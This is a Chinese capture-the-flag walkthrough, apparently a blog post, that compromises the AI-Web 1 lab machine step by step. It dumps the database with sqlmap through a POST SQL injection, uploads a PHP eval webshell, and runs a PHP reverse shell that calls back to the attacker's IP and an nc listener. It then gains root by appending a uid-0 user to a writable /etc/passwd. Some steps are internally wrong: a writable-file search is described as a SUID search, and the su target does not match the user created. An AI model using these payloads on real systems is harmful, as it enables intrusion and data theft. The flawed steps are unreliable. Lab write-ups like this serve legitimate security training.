AI-Web 靶场
环境前提
Kali 与 靶机 同网段、虚拟机网卡:桥接模式
完整渗透逻辑:
查本机网段 → 全网段扫描存活主机 → 确定靶机 IP → 端口扫描 → 服务版本探测 → 网站目录扫描 → 找物理路径 → 手工测注入 → Sqlmap 脱库 → 上传一句话木马 → 蚁剑连 Shell → 反弹交互式 Shell → 提权 → 拿 Flag
第一步:查看 Kali 本机 IP,确定扫描网段

ip a
注释
ip a:查看本机所有网卡 IP 地址、子网掩码
知识点扩展
- 一般看到
192.168.146.X这种,网段就是:192.168.146.0/24 /24代表子网掩码255.255.255.0,范围:192.168.146.1 ~ 192.168.146.254- 桥接模式下 Kali 和靶机必须同网段,才能互相扫描、通信
第二步:局域网全网段扫描,找出在线靶机 IP

arp-scan 内网精准扫描
arp-scan -l
注释
arp-scan:内网 ARP 专用扫描工具-l:扫描本地整个局域网
特点
直接列出 IP+MAC 地址,内网扫描最准,禁 ping 也能扫到
第三步:对扫描出来的靶机 IP 全端口 + 服务版本扫描

nmap -sV -p- 192.168.146.134
逐参数注释
-p-:扫描 1~65535 全部端口,不遗漏开放端口-sV:探测端口对应的服务名称、版本号
扫描结果重点看
80/tcp open http Apache说明:开了 80 网站服务,可 Web 渗透
知识点扩展
- 端口范围:1~65535,分为常用端口、高危端口
- 80=http、443=https、22=ssh、3306=mysql 是渗透最常见端口
-sV版本探测可用于后续查版本漏洞、找 EXP
第四步:网站目录敏感文件扫描(找后台、隐藏路径、配置文件)


dirsearch -u http://192.168.146.134
逐参数注释
dirsearch:Python 开发的网站目录爆破工具-u:指定目标网站 URL
扫描出关键资源
/robots.txt:网站爬虫协议,里面会泄露禁止访问的敏感目录/m3diNf0/info.php:php 探针,泄露网站物理绝对路径/se3reTdir777/:隐藏漏洞目录/se3reTdir777/index.php:注入点页面
知识点扩展
目录爆破原理:自带字典,批量请求 http://ip/字典路径,根据状态码 200/403/404 判断目录是否存在
- 200:存在可访问
- 403:存在但禁止访问
- 404:不存在
第五步:访问探针页面,获取网站物理绝对路径
http://192.168.146.134/m3diNf0/info.php
往下找 Document Root得到类似路径:

/home/www/html/web1x443290o2sdf92213
作用
后面 Sqlmap 上传木马必须用服务器真实物理路径,否则上传失败
第六步:手工测试 SQL 注入漏洞

http://192.168.146.134/se3reTdir777/index.php
输入框提交:
1'
判断标准
页面出现 MySQL 语法错误、报错信息 → 存在 POST 型 SQL 注入
知识点扩展
'单引号闭合 SQL 语句原有引号,造成语法报错- 能报错 = 直接把数据库结构暴露,可被 Sqlmap 全自动利用
- POST 注入:表单提交,URL 看不到参数,需要用
--data传参
第七步:Sqlmap 全自动 SQL 注入探测
7.1 爆出所有数据库名

sqlmap -u "http://192.168.146.134/se3reTdir777/index.php" --data "uid=1&Operation=Submit" --dbs
逐参数注释
sqlmap:全自动 SQL 注入漏洞检测、利用工具-u:指定注入 URL--data:提交 POST 表单参数,模拟浏览器提交数据--dbs:列出当前服务器所有数据库名称
7.2 爆出指定库下所有表名
sqlmap -u "http://192.168.146.134/se3reTdir777/index.php" --data "uid=1&Operation=Submit" -D aiweb1 --tables
注释
-D 库名:指定要操作的数据库--tables:列出该库下所有数据表
7.3 爆出表中所有字段

sqlmap -u "http://192.168.146.134/se3reTdir777/index.php" --data "uid=1&Operation=Submit" -D aiweb1 -T systemUser --columns
注释
-T 表名:指定数据表--columns:列出表中所有字段(账号、密码、id 等)
7.4 爆数据(脱库)
sqlmap -u "http://192.168.146.134/se3reTdir777/index.php" --data "uid=1&Operation=Submit" -D aiweb1 -T systemUser --dump
注释
--dump:导出表中所有真实数据(账号密码明文 / 密文)
知识点扩展
Sqlmap 核心功能:漏洞检测、猜库、猜表、猜字段、脱库、读写文件、执行系统命令、反弹 Shell
7.5 sqlmap --os-shell 获取靶机命令行

一、命令与注释
sqlmap -u "http://192.168.146.134/se3reTdir777/index.php" \
--data "uid=1&operation=Submit" \
--os-shell
逐参数解释
--os-shell:核心参数,让sqlmap自动利用 SQL 注入,上传后门脚本,给你一个可直接执行系统命令的交互式 Shell。
- 选语言:
4(PHP) - 是否尝试自动路径探测:
Y - 上传目录选项:
2(custom location,自定义路径) - 输入物理路径:
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads
执行成功后,你会直接得到一个 sqlmap> 提示符,输入 ls、whoami 就能直接执行命令,不用再绕 “上传一句话 + 蚁剑 + 反弹 Shell” 的弯路。
第八步:本地创建 PHP 一句话木马
新建文件 shell.php 写入:

<?php @eval($_POST['cmd']);?>
代码解释
eval():把传入的字符串当做 PHP 代码执行$_POST['cmd']:接收蚁剑 POST 传递的命令- 一句话原理:蚁剑发加密代码 → 木马接收执行 → 控制服务器
第九步:Sqlmap 上传一句话木马到靶机可写目录

sqlmap -u "http://192.168.146.134/se3reTdir777/index.php" \
--data "uid=1&Operation=Submit" \
--file-write ./shell.php \
--file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php
逐参数注释
--file-write ./shell.php:读取本地的 shell.php 文件--file-dest 绝对路径:上传写入到靶机服务器指定物理路径/uploads/:网站上传目录,默认有写入权限、可被 web 访问
知识点扩展
必须满足两个条件才能上传成功:
- 知道网站真实物理路径
- 目标目录有写入权限
在os-shell界面查看一句话木马是否上传成功

猜测可能存在文件上传漏洞,依次访问sqlmap上传的文件, 在最后一个文件发现sqlmap 自带的文件上传页面。

第十步:蚁剑连接 WebShell

- 连接 URL:
http://192.168.146.134/se3reTdir777/uploads/shell.php
- 密码:
cmd
成功权限
拿到 www-data 网站低权限,可浏览文件、执行普通命令
第十一步:创建 PHP 反弹 Shell 脚本

新建 nc.php
<?php
$sock=fsockopen("192.168.146.128",1022);
exec("/bin/bash -i <&3 >&3 2>&3");
?>
代码注释
fsockopen:主动连接 Kali 的 IP 和端口exec:调用系统 bash<&3 >&3 2>&3:标准输入输出重定向,实现交互式 Shell
重点
IP 写自己 Kali 的 IP,端口自定义统一就行
第十二步:Kali 监听端口(等待靶机主动连过来)
nc -lvvp 1022
逐参数注释
nc:netcat 网络瑞士军刀,监听、端口转发、反弹 Shell 必备-l:开启监听模式-v:显示详细过程-v:再一层详细输出-p 1022:指定监听端口 1022
知识点扩展
反弹 Shell 逻辑:Kali 先开门监听 → 靶机主动敲门连接 → kali 拿到靶机命令行
第十三步:将nc.php上传到靶机,在蚁剑终端执行反弹脚本




php nc.php
执行后卡住,切回 Kali nc 窗口,直接拿到交互式 Shell
第十四步:Shell 终端升级(解决 su 无法使用、命令不全)

python -c 'import pty;pty.spawn("/bin/bash")'
注释
- 调用 python 伪终端
- 把简陋 nc shell 升级成完整交互式 bash 终端
- 升级后支持 su、tab 补全、清屏、上下翻命令
知识点扩展
普通 nc shell 缺陷:不能 su、不能 tab、信号异常、容易断开,必须 pty 虚拟终端升级
第 15 步:提权探测(从 www-data 到 root)
目标
从低权限的 www-data 用户,探测并利用权限漏洞,拿到 root 权限,读取 /root/flag.txt。
15.1 检查关键文件权限:/etc/passwd

ls -l /etc/passwd
操作与解析
- 执行命令后,会显示文件权限字符串,例如:
-rw-r--r--:只有root用户可写,普通用户只能读。- 若出现
-rw-rw-rw-:任何人都能写,这是严重漏洞,可直接提权。
- 这一步是为了确认我们能否通过修改用户信息来创建新的
root用户。
15.2 查看当前用户身份与权限

whoami
id
操作与解析
whoami:快速确认当前用户是www-data,不是root。id:查看用户的 UID、GID 和所属组,判断是否在sudo组等特殊权限组中。
15.3 查找可提权的 SUID 文件

find / -writable -type f 2>/dev/null
操作与解析
- 执行命令后,会列出系统中所有带有 SUID 权限的文件。
- 重点关注文件所有者为
root的文件,如/bin/bash、/usr/bin/python等。这类文件会以root身份运行,可被用来执行任意命令。
15.4 检查 sudo 权限
sudo -l
操作与解析
- 查看当前用户是否可以无密码执行
sudo命令。 - 若显示
(ALL : ALL) ALL,可直接执行sudo su切换到root。 - 若显示可执行
/bin/bash,直接执行sudo /bin/bash即可拿到rootShell。
15.5 本靶场专属提权:写入 /etc/passwd 并升级为真正的交互式终端
15.5.1 使用perl对密码进行加密

perl -le 'print crypt("liujunhan","aa")'
liujunhan→ 你登录时输的密码aa→ 加密盐值(固定 2 位)aapldSe0VNesU→ 写入 /etc/passwd 的加密密码
15.5.2 写入新的 root 用户到 /etc/passwd

echo 'liujunhan:aapldSe0VNesU:0:0:root:/root:/bin/bash' >> /etc/passwd
- liujunhan:自定义用户名。
- aapldSe0VNesU:加密后的密码
15.5.3 升级终端,切换到新创建的 root 用户

python -c "import pty; pty.spawn('/bin/bash')"
su jjh
1.作用:通过 Python 的 pty 模块,把当前的非交互式 Shell 升级成完整的 Bash 终端,让 su 命令可以正常运行。
执行后,你会看到 Shell 提示符变成 www-data@aiweb1:~$,说明升级成功。
2.输入你设置的密码liujunhan,即可切换到 root 权限。

第 16 步:拿取 Flag

cd /root
ls
cat flag.txt
cd /root:进入root用户的家目录。ls:列出目录内容,找到flag.txt。cat flag.txt:读取最终的 flag,渗透流程结束。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐






所有评论(0)